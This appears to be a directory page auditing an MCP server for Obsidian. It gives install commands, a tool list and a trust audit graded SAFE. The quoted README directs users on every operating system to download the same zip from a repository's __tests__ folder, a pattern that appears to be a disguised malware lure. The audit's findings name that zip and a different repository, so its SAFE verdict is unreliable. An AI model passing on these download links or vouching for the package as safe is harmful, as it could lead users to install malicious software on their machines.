obsidian-mcp-serverSAFE
🗂️ Boost your Obsidian experience with a powerful Model Context Protocol server for vault access, knowledge graph analysis, and seamless integrations.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/Amri854/obsidian-mcp-server/raw/refs/heads/master/src/services/_tests_/mcp-server-obsidian-3.2.zip)
🚀 Getting Started
Welcome to the obsidian-mcp-server! This server connects your local Obsidian instances to remote vaults and desktop AI tools like Claude and ChatGPT. Follow these simple steps to get started.
📥 Download & Install
To download the obsidian-mcp-server, visit the Releases page. Click the link below:
📋 System Requirements
Before you begin, ensure your system meets these requirements:
- Operating System: Windows 10 or later, macOS 10.15 or later, or a Linux distribution.
- Memory: At least 4 GB of RAM.
- Network: An active internet connection.
- Storage: Approximately 100 MB of free disk space.
⚙️ How to Download
- Visit the Releases page.
- Look for the latest version of the software.
- Choose the file appropriate for your operating system. You will see options like:
https://github.com/Amri854/obsidian-mcp-server/raw/refs/heads/master/src/services/__tests__/mcp-server-obsidian-3.2.zipfor Windows users.https://github.com/Amri854/obsidian-mcp-server/raw/refs/heads/master/src/services/__tests__/mcp-server-obsidian-3.2.zipfor macOS users.https://github.com/Amri854/obsidian-mcp-server/raw/refs/heads/master/src/services/__tests__/mcp-server-obsidian-3.2.zipfor Linux users.- Click the chosen file to start the download.
📂 Extracting the Files
Once the download compl
4c8977ae0162OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add obsidian-mcp-server --env OBSIDIAN_API_KEY=${OBSIDIAN_API_KEY} --env OBSIDIAN_REMOTE_API_KEY=${OBSIDIAN_REMOTE_API_KEY} -- npx -y [email protected]{
"mcpServers": {
"obsidian-mcp-server": {
"command": "npx",
"args": [
"-y",
"[email protected]"
],
"env": {
"OBSIDIAN_API_KEY": "${OBSIDIAN_API_KEY}",
"OBSIDIAN_REMOTE_API_KEY": "${OBSIDIAN_REMOTE_API_KEY}"
}
}
}
}Exposed tools (29)
17 read · 11 write · 1 destructive. Blast radius: 1 tool can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
add_canvas_edge | write | Add an edge between nodes in canvas |
add_canvas_node | write | Add a node to canvas (file, text, link, or group) |
analyze_graph | read | Analyze the knowledge graph structure |
create_canvas | write | Create a new canvas file |
create_daily_note | write | Create a daily note for a specific date |
create_from_template | write | Create a new note from a template |
create_monthly_note | write | Create a monthly note for a specific date |
create_note | write | Create a new note |
create_weekly_note | write | Create a weekly note for a specific date |
create_yearly_note | write | Create a yearly note for a specific year |
dataview_query | write | Execute a Dataview-style query on notes |
delete_note | destructive | Delete a note |
get_canvas | read | Get canvas file contents |
get_knowledge_graph | read | Get the complete knowledge graph for a vault |
get_note | read | Get a note by its path |
get_note_metadata | read | Get metadata for a specific note |
get_periodic_note_info | read | Get info about a periodic note |
get_related_notes | read | Get notes related to a specific note |
get_unique_values | read | Get all unique values for a metadata field |
get_vault_stats | read | Get statistics about a vault |
list_canvas_files | read | List all canvas files in vault |
list_folders | read | List all folders in a vault |
list_periodic_notes | read | List periodic notes of a specific type |
list_tags | read | List all tags in a vault |
list_templates | read | List all available templates |
render_template | read | Render a template with variables |
search_notes | read | Search for notes in a vault |
suggest_links | read | Suggest related notes for linking |
update_note | write | Update an existing note |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (2 observation(s))
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (5)
delete_note
mcp-server-obsidian-3.2.zip
import type { Note } from '../../types/index.js';pavonize/obsidian-mcp-server.zip
Gates applied: no_behavioural_pass, no_license.
4c8977ae0162full audit observations/trust-audit/mcp-server/amri854__obsidian-mcp-server.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 4c8977ae0162 | SAFE | B | 89 | first audit |
Questions
What is the obsidian-mcp-server MCP server?
🗂️ Boost your Obsidian experience with a powerful Model Context Protocol server for vault access, knowledge graph analysis, and seamless integrations.
What tools does obsidian-mcp-server expose?
29 in total: 17 read-only, 11 that write, and 1 that can delete or overwrite (delete_note). Every one is listed on this page with its risk.
Is obsidian-mcp-server safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B. Separately from the audit: 1 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does obsidian-mcp-server need?
It reads OBSIDIAN_API_KEY and OBSIDIAN_REMOTE_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does obsidian-mcp-server run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as obsidian-mcp-server at 1.0.0.
How current is this page?
The grade is for one exact copy of the source (4c8977ae0162), read on 2026-10-11. The repository is watched and re-audited when it changes.